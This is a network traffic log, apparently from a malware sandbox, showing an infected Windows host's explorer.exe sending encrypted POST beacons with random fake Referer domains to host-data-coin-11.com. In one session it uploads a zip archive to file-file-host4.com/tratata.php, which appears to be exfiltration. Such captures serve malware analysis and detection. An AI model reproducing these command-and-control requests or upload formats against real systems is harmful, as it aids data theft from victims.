Jan 6, 2022 21:04:21.255414963 CET	4039	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	49831	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:21.510047913 CET	4042	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lktljxj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 147 Host: host-data-coin-11.com
Jan 6, 2022 21:04:21.510066032 CET	4043	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8c 66 5d 02 c8 a1 c1 64 50 c1 df 73 Data Ascii: 8v:1C@ohXwmDu$f]dPs"H#fv?dO'v3%@LdWkrU0;WL(&5:<~!?((
Jan 6, 2022 21:04:22.064570904 CET	4045	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:21 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	49834	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:22.270503998 CET	4048	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ydngxqywbi.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 348 Host: host-data-coin-11.com
Jan 6, 2022 21:04:22.270517111 CET	4049	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8d 66 5d 02 c8 a1 c1 64 13 c5 82 1d Data Ascii: 8v:1C@ohXwmDu$f]dYbeqYJzH()UYWi{V6JN?R{HhII /t95-5H}58T<iS{V;LMr/)bV;~HRrTx[(b &%
Jan 6, 2022 21:04:22.829292059 CET	4054	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 36 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 53 d1 42 d4 ff 26 85 21 ec ac 96 51 28 e2 b1 49 2d e3 b3 b7 60 f2 9b bf 5c aa 71 90 c8 33 46 58 3a 0d 49 da bb 51 b7 fe 5f 9b b1 c9 1f 8d 2b 80 cf 0d 0a 30 0d 0a 0d 0a Data Ascii: 65I:82OB%,YR("XSB&!Q(I-`\q3FX:IQ_+0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	49842	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:24.347187042 CET	4615	OUT	POST /tratata.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CJWTR1NG4OZUAAAS Host: file-file-host4.com Content-Length: 93655 Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=u14bif03gj65ojt3u38q4lhtqu
Jan 6, 2022 21:04:24.347239971 CET	4627	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 4a 57 54 52 31 4e 47 34 4f 5a 55 41 41 41 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 45 33 57 4c 4e 4f 48 44 4a 4d 59 Data Ascii: ------CJWTR1NG4OZUAAASContent-Disposition: form-data; name="file"E3WLNOHDJMYM7YUS.zip------CJWTR1NG4OZUAAASContent-Disposition: form-data; name="file"; filename="E3WLNOHDJMYM7YUS.zip"Content-Type: application/octet-streamContent-
Jan 6, 2022 21:04:24.524379015 CET	4639	OUT	Data Raw: 08 13 0f 71 5f 9a af 98 81 b6 71 02 2f 90 17 79 9e a9 a0 17 79 0f 66 bd a6 dd 99 b2 8e 63 71 21 c2 fa 46 de a5 47 a8 74 f1 aa d9 d9 47 5f 67 f4 5a 23 67 2b fa 23 c1 4b 6e 94 bc ab dd af 63 fa 02 12 fe 98 89 ba 22 05 f3 47 a9 48 db 03 93 b5 f7 2d Data Ascii: q_q/yyfcq!FGtG_gZ#g+#Knc"GH-E@t9yvwP!9A Ih#N/*;>QCit&Y ?#vi6mUCjf;;!CHUYK?\|E0@;C^.'&Rp
Jan 6, 2022 21:04:24.524806976 CET	4642	OUT	Data Raw: b1 d7 97 e1 5b 9c 6c 8e c6 af 64 fb 90 d4 86 a5 22 c3 36 7c 7c 4a b6 29 a7 8d 83 dc 0b e7 7b de 54 7f 8a fe 4c f8 f0 07 9b 8c 88 71 0e 7b b5 d3 2d eb e1 7e 88 ab 03 96 ad db d9 f4 9f dc 5a f2 69 c5 8a ee 63 f9 3e e5 45 10 15 56 da 59 79 e6 a3 71 Data Ascii: [ld"6\|\|J){TLq{-~Zic>EVYyq!wSU{]o`lKsBU^Gk)6#?!ou<34mR;Da#\vR%-Im)~J%oJW]]Kx2<zEM
Jan 6, 2022 21:04:24.524841070 CET	4645	OUT	Data Raw: 24 f6 e1 21 bb 72 88 f5 b5 44 a5 52 41 b7 ed b7 71 05 c4 0a 17 37 82 c6 fc 7d 38 69 b4 ff 2a 1f 93 cb cb 94 d2 e0 f4 a4 c0 93 4d bb 72 6e 87 3f 71 f0 74 86 b5 71 d1 87 7f c8 3a 9e 3f 78 c4 42 67 9e 91 7c f1 bd 3a 8e a1 b0 10 9a 17 21 ca eb 5f 45 Data Ascii: $!rDRAq7}8iMrn?qtq:?xBg\|:!_EOf"Y+ifSKrvbTGrHZV$)l<otgz^;@\J>bA88,-R\|+Zc>dR<((m9>AbO$wR.S4I\RiP
Jan 6, 2022 21:04:24.525022030 CET	4650	OUT	Data Raw: 5c 1e ca a5 cb 75 e1 3e 2d c8 de ce 79 fc e2 22 fe 48 eb 0e 54 fa 52 e8 84 fa c0 a8 ea e3 4f ee 6f 09 6f 02 05 f8 14 fe 18 b3 2c ab d1 57 31 92 ce 23 72 13 5f 9a ac 9a 8d 16 52 9b 0c 22 f7 7b 2b 45 96 cb 95 1a 7f fa 2a f4 5b 9e 2b 0b e6 15 69 9e Data Ascii: \u>-y"HTROoo,W1#r_R"{+E[+i<aez{o@)w1\VN?$7k$hpDn=E\|6k()M<J;}ayr'>H)W3jclUrP}Vs^.OV}WWWs
Jan 6, 2022 21:04:24.526145935 CET	4653	OUT	Data Raw: 18 ad ad 7f 5b 4b c3 d5 63 f7 18 89 a6 37 84 53 c2 53 dc 2a e9 26 5c c8 70 ea 47 cd cc 58 b9 da 7f 66 56 46 e4 b8 f7 8a 88 32 37 8b 56 f8 e4 7a f8 72 a5 75 32 e4 e3 94 d6 a4 93 a0 de 1d 19 75 b3 88 f5 16 d6 b0 62 b2 b5 db c7 c8 af 44 e3 aa cf 8f Data Ascii: [Kc7SS&\pGXfVF27Vzru2ubD}^&R`Oy^+GdG<W=p~UuV%M6EcfU>6oOg;wR;9+oW]9CB'2N)"lrY>3E[a?lX:W*
Jan 6, 2022 21:04:24.700160980 CET	4664	OUT	Data Raw: b7 dc 8d 92 5c 16 97 56 28 54 e2 7e 1f fa 22 4e f3 be 43 84 cd ab 9b 9a 25 33 b6 bb d3 bb b3 cd af ad 59 1b f1 4e cd b5 13 04 ca 13 02 59 0d 91 87 c7 2e 01 3d b3 e1 85 0e 73 a5 4a 7a 2d 1f a8 a9 23 1c 7e f0 54 8b 85 7b 38 c5 4b 7a 5b f6 b0 27 a8 Data Ascii: \V(T~"NC%3YNY.=sJz-#~T{8Kz['.&5{nP?R6zcc@kd$MJ~mk9+vD%PU BH*!i^pc\~hd-IB#1WI2y<0V3mW8U.[
Jan 6, 2022 21:04:24.700330973 CET	4667	OUT	Data Raw: d5 88 82 1a ed 4b 95 65 bd a9 e3 b8 cb 6b 45 85 a6 68 f4 31 d1 48 4e 5f f1 64 d9 49 bb 33 64 51 42 c2 45 5e e8 fa 82 d9 19 12 4b dc 33 c6 92 46 3b 70 1c ba 0a 5e d4 26 98 8f f1 f2 36 13 8f 61 2c ce 9c 6b 40 5f 0f 8b 80 f0 c3 cf f7 3e 87 e7 1c 6e Data Ascii: KekEh1HN_dI3dQBE^K3F;p^&6a,k@_>n[Ek`IcQLQ4Lfb3u:vNDo~e=.$TrSnqh(0*BPNaZFt'=xv-._K1} ]U&qF/
Jan 6, 2022 21:04:24.700357914 CET	4672	OUT	Data Raw: 50 ec 78 d6 45 3c 61 0c f6 7d b0 e2 6b a5 6e 43 ac 2e 7d e1 45 9c 5c b3 ea a1 d1 99 81 79 9b 5f e8 01 ca af 6f 58 a1 d4 32 8f 54 f6 40 e8 50 9e 70 60 34 b6 ea f9 68 0d 78 96 4a 9a 54 73 09 a8 ec 3a 2a fc ae 6a b1 05 37 b6 cf 08 3f ed 97 5d 96 11 Data Ascii: PxE<a}knC.}E\y_oX2T@Pp`4hxJTs:*j7?]x)Y"e&bLzrR]J8@eyG+8X'!r(>36-=i}jIr(+eu;i^D1{] F?\39e/,:8(u[
Jan 6, 2022 21:04:24.700556993 CET	4675	OUT	Data Raw: 59 46 5a 01 2f 88 cd 07 ad 4e b5 0e d7 90 c4 b3 55 d3 56 b7 4b 35 4b 41 7a 10 79 dd 5c d8 fc 90 0e 41 fb f7 c0 ec 91 1b 58 8a 20 ba 2d e5 47 f6 1a 56 15 f9 51 fb 09 d5 65 c2 be f8 a3 fc 91 0e 08 a7 3c 0e 46 9b 50 63 f3 18 47 e5 08 82 5c 47 80 30 Data Ascii: YFZ/NUVK5KAzy\AX -GVQe<FPcG\G0)`P>'x~r(;,tYGk>JW+/AM=r`+L4F[QA:c3)Eoabvq(+rWJH&WTTWQAwH[
Jan 6, 2022 21:04:26.244234085 CET	4714	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Thu, 06 Jan 2022 20:04:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	49843	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:24.653552055 CET	4653	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ebrhhlu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 301 Host: host-data-coin-11.com
Jan 6, 2022 21:04:24.653573036 CET	4653	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 8d 66 5d 02 c9 a1 c1 64 24 d8 a3 3b Data Ascii: 8v:1C@ohXwmDu$f]d$;i%LFX0t\|@,Q[>=*]4W:Mx!y6\|- \&42$4M<@mU7^]I.sIXN/=#Vsi:lb3tCS$'
Jan 6, 2022 21:04:25.210390091 CET	4712	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	49844	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:25.689533949 CET	4713	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hdkawsgnd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 176 Host: host-data-coin-11.com
Jan 6, 2022 21:04:25.689555883 CET	4714	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8a 66 5d 02 c8 a1 c1 64 38 dc b8 17 Data Ascii: 8v:1C@ohXwmDu$f]d8*n`~^0E2FLN,J,z"$=#L79{P.`(E`3L>:{NA0~x`J
Jan 6, 2022 21:04:26.256278992 CET	4715	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.4	49845	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:26.479218960 CET	4716	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tsiorcl.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 244 Host: host-data-coin-11.com
Jan 6, 2022 21:04:26.479248047 CET	4716	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8b 66 5d 02 c8 a1 c1 64 4b bb 9d 09 Data Ascii: 8v:1C@ohXwmDu$f]dK@os'-'"XjkC%uF5L@[,+##GRG!rk%Rd@}N%!?H8T:>M[(?HH6fe6g1s1$
Jan 6, 2022 21:04:27.027379036 CET	4716	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49778	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:03:44.569113016 CET	1162	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oxviqvl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 306 Host: host-data-coin-11.com
Jan 6, 2022 21:03:44.569184065 CET	1162	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 86 de 9e 66 5d 02 c9 a1 c1 64 3e 98 aa 20 Data Ascii: 8v:1C@ohXwmDu$f]d> :2"OxG5W>)h6a0j[y=F;cVSj*4E/I\|a?BHw!?iAWE6(~$~.!VqmObNZbmH:
Jan 6, 2022 21:03:45.118802071 CET	1163	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:03:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 0d 0a 14 00 00 00 7b fa f7 1f b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	49850	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:48.345104933 CET	4721	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aoufhnna.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 245 Host: host-data-coin-11.com
Jan 6, 2022 21:04:48.348303080 CET	4721	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 88 66 5d 02 c8 a1 c1 64 2a c3 a7 11 Data Ascii: 8v:1C@ohXwmDu$f]d:4[%g}I?CZHzm'bjz_9[X2L@1v=d'[9G=<s$i}i~HL~K=oA*#`KuZR^4!{rwO'
Jan 6, 2022 21:04:48.913144112 CET	4721	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:48 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.4	49851	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:49.396728039 CET	4723	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pbrrrniiwa.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 116 Host: host-data-coin-11.com
Jan 6, 2022 21:04:49.396755934 CET	4723	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 89 66 5d 02 c8 a1 c1 64 56 9d c1 66 Data Ascii: 8v:1C@ohXwmDu$f]dVfh`\|p@fi^2d\|&~.x
Jan 6, 2022 21:04:49.947704077 CET	4724	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:49 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.4	49852	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:50.956078053 CET	4725	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rxetyrfd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 248 Host: host-data-coin-11.com
Jan 6, 2022 21:04:50.956101894 CET	4725	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 86 66 5d 02 c8 a1 c1 64 46 d8 9c 14 Data Ascii: 8v:1C@ohXwmDu$f]dF+z+TVVQZ\|zACl'bQz=yQRx@=&0Tz@-,F!UP6'u(As'm]UIXbUL >;2zQJ#uDGQC(W
Jan 6, 2022 21:04:51.523705959 CET	4725	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.4	49853	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:51.728843927 CET	4726	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://bsslew.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 261 Host: host-data-coin-11.com
Jan 6, 2022 21:04:51.728863955 CET	4727	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 87 66 5d 02 c8 a1 c1 64 24 b4 ba 33 Data Ascii: 8v:1C@ohXwmDu$f]d$3z1\|A[; 1w?[h\|fV+Vs^yyo*-XM,:7 RQRX;6)6h!3tRx:O:KF]i \|B#cKG qi"
Jan 6, 2022 21:04:52.301568031 CET	4727	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:52 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

